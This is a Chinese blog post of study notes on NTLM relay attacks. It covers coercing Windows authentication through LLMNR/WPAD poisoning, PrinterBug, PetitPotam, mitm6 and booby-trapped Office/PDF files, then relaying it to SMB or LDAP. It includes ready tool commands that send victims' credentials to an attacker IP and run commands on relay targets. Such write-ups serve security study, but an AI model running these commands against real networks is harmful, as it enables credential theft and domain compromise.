NTLM Relay攻击原理 + 工具使用

前言

仅仅是记录自己看《域内攻防指南》的体会&&理解,具体的知识学习建议看windows protocol


(✨)

✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。

所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)


0x01 NTLM Relay攻击原理

  1. 中间人攻击;
  2. NTLM是底层协议,内嵌于SMB,LDAP,HTTP等上层协议。

也就是我们在Client和Server之间,窃取Net-NTLM的typ3中的Net-NTLM Hash,然后relay到其它服务机器的其它协议。


看Client响应服务端的challenge的type3 response的wireshark包:

在这里插入图片描述

像Responder这些工具,能够拿到这个带有response的包后,算出Net-NTLM Hash
How?
这个有对应计算方法的:

https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#id-0x03-net-ntlm-hash

在这里插入图片描述

这里的challenge是type2 服务器返回的challenge

HMAC-MD5对应数据包中的NTProofSt

本来之前对relay这步还有疑问:

怎么relay?
理解的核心在于封装的概念,以及对Net-NTLM本质作用(Client身份验证)的理解。
✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。

所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)
而开启签名就是认证了这个协议(比如SMB、LDAP)确实是由Client发起的。


所以NTLM Relay分为两步:

  1. 拿到Net-NTLM Hash(如何触发请求?如何捕获?)
  2. relay(如何relay?relay到哪儿?有无限制(签名)?)

0x02 捕获Net-NTLM Hash

如何捕获?

用神器 Responder.py

./Responder.py -i 中间人IP -wrfv

诱导Net-NTLM请求

1. LLMNR && NBNS

原理

域名解析投毒。

Windows系统名称解析顺序:

  1. 本地hosts文件
  2. DNS缓存/DNS服务器
  3. LLMNR && NBNS协议

LLMNR是多播,NBNS是广播,就给了中间人攻击的可乘之机。

触发方式

Clinet访问一个不存在的域名即可。

比如

\\nonexist

2. 打印机漏洞

原理

简单说说这个MS不修的"bug"。

Windows的打印机服务有一个特性:

任何经过身份认证的域成员,都可以连接任意一台远程服务器的打印服务spoolsv.exe,并请求一个新的打印作业进行更新,这种请求会让目标服务器将通知发送给指定的目标,然后目标服务器会立即测试该连接,也就是向指定目标进行身份认证。可以是Kerberos认证,也可以是NTLM认证。

所以我们就可以用打印机漏洞"强制"目标主机向我们的攻击机测试连接,从而拿到Net-NTLM Hash。

触发方式

printerbug.py:

python3 printerbug.py INTRANET/用户名:密码@目标服务器IP 攻击机IP

这个用户应该只要是拿到账密的域用户就行。

3. PetitPotam

当时弄非约束委派的打印机漏洞触发就换的是这个。(因为SpoolSample基于NET3.5,好多机子不一定有对应环Frame)

大概记一下原理:

原理

这个漏洞利用的是微软加密文件系统远程协议(MS-EFSRPC)的漏洞。

利用PetitPotam,可以通过连接到LSAPRC轻质触发目标机器向指定远程服务器发送Net-NTLM Hash(应该就是触发NTLM认证)。

由于这个洞是2021年的,应该很多版本都能打(虽然原版打印机漏洞更离谱,修都不修2333。。)

触发方式

用 Petitpotam.py:

python3 Petitpotam.py -d intranet.com -u win2008 -p 1q2w3eQWE 攻击机IP 目标机器IP

4. 图标

(最初学的时候真的被秀到了 orz。)

简单来说,图标中能用UNC路径远程访问/加载的都行。

  • desktop.ini
  • .scf后缀文件:包含IconFile属性,explorer.exe会尝试加载UNC
  • ……

这个具体的可以看gitbook那篇,详细这里就不记录了。

5. 浏览器

同样的,支持UNC路径。

而且可以在HTML中嵌入标签,带UNC路径的跳转之类的。

(后面提到的WPAD投毒,劫持HTTP流量后就是这么触发NTLM请求的)

6. Outlook

微软的邮件服务Outlook支持发送HTML格式的邮件。

用户不用打开邮件,Outlook客户端就会自动向指定的UNC路径发起NTLM认证。

7. 系统命令

一大堆window的cmd也可以访问UNC路径。

8. Office

经典微软三件套,
xxx.docx\word\_rels目录的document.xml.rels文件:
可以把插入图片的

Target="media/image1.png"

改为:

Target="\\IP\1.jpg" TargetMode="External"

9. PDF

PDF可以添加请求远程SMB服务器文件的功能。

3gstudent的WorsePDF脚本,

python2 WorsePDF.py test.pdf Attacker-IP

10. WPAD

这里介绍两个:最初的WPAD投毒 以及DHCPv6绕过MS16-077补丁的方式。

WPAD:Web代理自动发现协议。

这里有必要将这个协议具体写一下:

WPAD是用来查找PAC(Proxy Auto-Config)文件的协议。协议的功能是通过DHCP,DNS,LLMNR,NBNS等查找局域网中存放PAC文件的主机,然后通过主机的PAC文件指定代理服务器来访问互联网。

浏览器查询PAC文件的顺序:

  1. DHCP服务器
  2. 查询WPAD主机IP:(域名解析)
    • 本地HOST
    • DNS缓存/DNS服务器
    • LLMRN,NBNS

PAC文件的格式:(这个也需要知道,后面二次投毒要用)

function FindProxyForUrl(url,host){
    if(url=="http://www.baidu.com") return 'DIRECT';
    if(host=="pixiv.com") return "SOCKS 127.0.0.1:7070";
    if(dnsResolve(host)=="10.0.0.100") return "PROXY 127.0.0.1:8006;DIRECT";
    return "DIRECT";
}

利用核心点:WPAD的发现/寻找/查询也是广播。。。(本质就是域名解析LLMNR&&NBNS投毒那一套)

(但这有个伏笔,第一步有一个DHCP的过程)

WPAD投毒

利用流程

直接一个Responder就能搞定了:

./Responder.py -I eth0 -rPvw

WPAD投毒流程:(✨)

  1. 用户访问网页,会首先查询PAC文件的位置,查询的地址是WPAD/wpad.dat。如果本地hosts和DNS都找不到,就会使用NBNS协议发广播包,询问WPAD对应的IP。

  2. 攻击者用Responder投毒,响应NBNS请求,将WPAD的IP指向Responder自身所在的IP。(顺带伪造wpad.dat,内容后续步骤会说)

  3. 客户端请求WPAD/wpad.dat

  4. 攻击者伪造了wpad.dat(具体的可以抓包看HTTP GET请求)

    核心就是把PROXY的域名改成一个解析不了的(hosts和DNS解析不了)

    比如ProxySrv

  5. 客户解析不了ProxySrv的IP,又发起LLMNR广播协议查询

  6. Responder二次投毒,将ProxySrv也指向Responder自身的IP。

  7. 前面步骤后,Attacker就可以代理客户的所有HTTP流量了,只需要在HTTP流量中加入HTML请求,访问UNC路径,触发NTLM即可。甚至还可以打web端,拿cookie,钓鱼、诱导下载shell之类的。

MS16-077后的DHCPv6绕过

微软的补丁限制了两个点:

  1. 系统再也无法用广播协议来解析WPAD文件的位置,只能用DHCP或DNS协议。
  2. 更改了PAC文件的下载默认行为,当发起HTTP GET请求wpad.dat文件时,不会自动发送客户端凭据来响应NTLM协商身份验证质询。

可以看出来,第二个限制p用没有。。。本来我们就是劫持HTTP流量后再触发的NTLM 2333。。。

关键是怎么绕过第一个呢?

核心都是要找能广播/多播的中间人攻击,那么思路就来了:

IPv6的DHCPv6就是多播/组播(不分了:( )!

windows vista之后的所有机子都支持Ipv6,且优先级高于Ipv4。默认情况下,Windows系统的机子在开机、配置网络时会使用DHCPv6协议向组播地址[ff02::1:2]发起请求。

那么Attacker就可以投毒,代替DHCP服务器为Client分配IP和DNS服务器。

那么IP分配在Attacker的网段,DNS服务器设为Attacker本身,后续利用就轻而易举了。(DNS服务器都有了,域名解析随便改。)

利用流程

有一个 mitm6

sudo mitm6 -i eth0 -d intranet.com

这样当目标机器重启 or 重配置网络的时候就能投毒了。

0x03 Net-NTLM Relay(How? To whom?)

1. relay to SMB

中继到SMB服务是最简单直接的方法,可以控制服务器执行任意命令

Reflect(工作组)

工作组环境没办法relay到其它机子,因为之间没有信任关系,也验证不了身份(没有DC,密码都是存在本地的SAM文件)。

那么最直接的方式就是拿到Client的Net-NTLM Hash后relay到Client,也就是reflect。

微软MS08-068针对此弄了个补丁,弄了个(challenge,CIFS/B)的缓存,使得直接的reflect失效,

绕过

但这个缓存时限是300s。:)

CVE-2019-1384 Ghost Potato就是对应的绕过。(为什么隔了11年才发现呢🤔)

relay(域环境)

一般来说,域环境中,普通域用户可以relay SMB到域控外的所有机器。

因为默认只有域控是开启SMB签名的。

工具使用

工具都是监听后relay,第一步都需要对应的触发(用前面说的那么多种触发NTLM请求的方式)

impacket - smbrelayx.py
python3 smbrelayx.py -h 目标机器(relay2的目标) -c whoami
impacket - ntlmrelayx.py
python3 ntlmrelayx.py -t smb://目标IP -c whoami -smb2support
Responder - MultiRelay.py
./MultiRelay.py -t 目标IP -u ALL

relay2HTTP

典型的就是Exchange的EWS接口,以及ADCS的证书注册接口。
这种relay属于进阶的relay攻击了,后面学习了ADCS这些后再来补。

relay2LDAP

这才是最常用的。因为域跟AD,LDAP密切相关!

LDAP的默认策略是协商签名,也就是说是否签名由用户端决定。那就是不签名了。

核心就是relay2LDAP后,用writedacl权限修改ACL,拿DCSync之类的高权限 or 可作后门的权限。

比如配置约束委派/RBCD的权限。

2020.1开始,所有域控的LDAP都会强制开启LDAP签名,这样就缓解(避免?)了relay2LDAP到域控上(好像本来relay2LDAP就应该打域控,不然没用。。。AD在DC上)拿高权限的危险。

总结

Interesting Intranet~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/883294.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯15届C/C++B组省赛题目

问题描述 小蓝组织了一场算法交流会议,总共有 5050 人参加了本次会议。在会议上,大家进行了握手交流。按照惯例他们每个人都要与除自己以外的其他所有人进行一次握手 (且仅有一次)。但有 77 个人,这 77 人彼此之间没有进行握手 (但这 77 人与…

828华为云征文 | 在Huawei Cloud EulerOS系统中安装Docker的详细步骤与常见问题解决

前言 Docker是一种轻量级的容器技术,广泛用于应用程序的开发、部署和运维。在华为云的欧拉(Huawei Cloud EulerOS)系统上安装和运行Docker,虽然与CentOS有相似之处,但在具体实现过程中,可能会遇到一些系统…

【Python机器学习】NLP信息提取——提取人物/事物关系

目录 词性标注 实体名称标准化 实体关系标准化和提取 单词模式 文本分割 断句 断句的方式 使用正则表达式进行断句 词性标注 词性(POS)标注可以使用语言模型来完成,这个语言模型包含词及其所有可能词性组成的字典。然后,该…

重头开始嵌入式第四十二天(硬件 ARM体系架构)

目录 一,ARM是什么? 1.公司名称 ARM的主流架构: 2.处理器架构 二,什么是处理器架构?什么是处理器? 一、处理器 二、处理器架构 三,一个计算机由什么构成呢? 一、硬件系统 二…

阿里云百炼SFT微调实践

1. 场景识别 用户进行SFT前需要对应用场景进行识别和分析,一般进行模型微调的诉求是希望提升对应业务场景的能力,用户需要明确哪些能力是需要进行重点提升的。 场景划分上来讲,以垂类场景进行划分可分为教育、医疗、金融、法律、电商、旅游、…

c++模拟真人鼠标轨迹算法

一.鼠标轨迹算法简介 鼠标轨迹底层实现采用 C / C语言,利用其高性能和系统级访问能力,开发出高效的鼠标轨迹模拟算法。通过将算法封装为 DLL(动态链接库),可以方便地在不同的编程环境中调用,实现跨语言的兼…

C++系列-Stackqueue

🌈个人主页:羽晨同学 💫个人格言:“成为自己未来的主人~” Stack 在之前的例子中,我们用C语言实现过stack,大家有兴趣的可以翻一下我之前的文章。 大概意思如下: class stack{public://.......privat…

31214324

📢博客主页:https://blog.csdn.net/2301_779549673 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! 📢本文由 JohnKi 原创,首发于 CSDN🙉 📢未来很长&#…

JS面试真题 part6

JS面试真题 part6 26、如何判断一个元素是否在可视区域中27、什么是单点登录?如何实现28、 如何实现上拉加载,下拉刷新29、说说你对正则表达式的理解?应用场景?30、说说你对函数式编程的理解?优缺点 26、如何判断一个元…

2015年国赛高教杯数学建模B题互联网+时代的出租车资源配置解题全过程文档及程序

2015年国赛高教杯数学建模 B题 互联网时代的出租车资源配置 出租车是市民出行的重要交通工具之一,“打车难”是人们关注的一个社会热点问题。随着“互联网”时代的到来,有多家公司依托移动互联网建立了打车软件服务平台,实现了乘客与出租车司…

蓝桥杯1.小蓝的漆房

样例输入 2 5 2 1 1 2 2 1 6 2 1 2 2 3 3 3样例输出 1 2 import math import os import sys tint(input())#执行的次数 for j in range(t):n,kmap(int,input().split())#n为房间数 k为一次能涂的个数alist(map(int,input().split()))#以列表的形式存放房间的颜色maxvaluemath…

如何搭建Vue脚手架

Vue 脚手架是Vue官方提供的标准化开发工具(开发平台) 官方文档: Vue CLI 第一步(仅需第一次执行): 安装nodejs环境 官网下载nodejs: https://nodejs.org/en/download/ 第二步(仅需第一次执行): 全局安装vue/cli npm install -g vue/cli 第三步:切换到你需要创建项目的目录,…

Clion使用vcpkg管理C/C++包

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、Clion安装vcpkg二、使用步骤1.切换到清单模式2.开始安装包 三、测试代码总结 前言 Linux上的库基本都可以通过apt或yum等包管理工具来在线安装包&#xff…

mariadb实现冷备份与恢复操作案例(物理冷备份,周期性备份)详解

文章目录 前置环境一、物理冷备份1.备份2.恢复检查结果 补充: 周期性恢复操作 前置环境 主机ipmariadb1192.168.10.11mariadb2192.168.10.12 mairadb1操作 安装mariadb yum -y install mariadb-server启动mariadb systemctl start mariadb这里只是演示备份与恢复…

cefsharp新版本OnBeforeResourceLoad 禁止http自动跳转https显示404错误解决办法 含代码

一、问题 因项目需要,域名没有ssl证书,结果http访问时被强制定向到https前缀,结果会显示404 测试版本cefsharp126.x (x64) 框架 CefSharp.WinForms.NETCore 二、代码(核心代码) 如果请求url是http,且目标是https时,则阻止请求 //判断请求变化 if (url.StartsWith(<…

初试Bootstrap前端框架

文章目录 一、Bootstrap概述二、Bootstrap实例1、创建网页2、编写代码3、代码说明4、浏览网页&#xff0c;查看结果5、登录按钮事件处理6、浏览网页&#xff0c;查看结果 三、实战小结 一、Bootstrap概述 大家好&#xff0c;今天我们将一起学习一个非常流行的前端框架——Boot…

Error: one input ui-file must be specified(问题已解决)

一、 项目场景问题描述 Error: one input ui-file must be specified pycharm IDE添加了外部工具。 QT Designer设计完成&#xff0c;生成界面ui文件&#xff0c; 3.运行pyuic5转换文件 方式一&#xff1a;选中ui文件 方式二:右击选中.ui文件。 报错&#xff1a;Error: o…

SpringCloud Alibaba五大组件之——Sentinel

SpringCloud Alibaba五大组件之——Sentinel&#xff08;文末附有完整项目GitHub链接&#xff09; 前言一、什么是Sentinel二、Sentinel控制台1.下载jar包2.自己打包3.启动控制台4.浏览器访问 三、项目中引入Sentinel1.在api-service模块的pom文件引入依赖&#xff1a;2.applic…

<Java>String类型变量的使用

两边有一个string就是连接&#xff0c;否则做加法 ‘ ’是char&#xff0c;“ ”是string&#xff0c;char能做加法&#xff0c;string只能连接

R包:ggheatmap热图

加载R包 # devtools::install_github("XiaoLuo-boy/ggheatmap")library(ggheatmap) library(tidyr)数据 set.seed(123) df <- matrix(runif(225,0,10),ncol 15) colnames(df) <- paste("sample",1:15,sep "") rownames(df) <- sapp…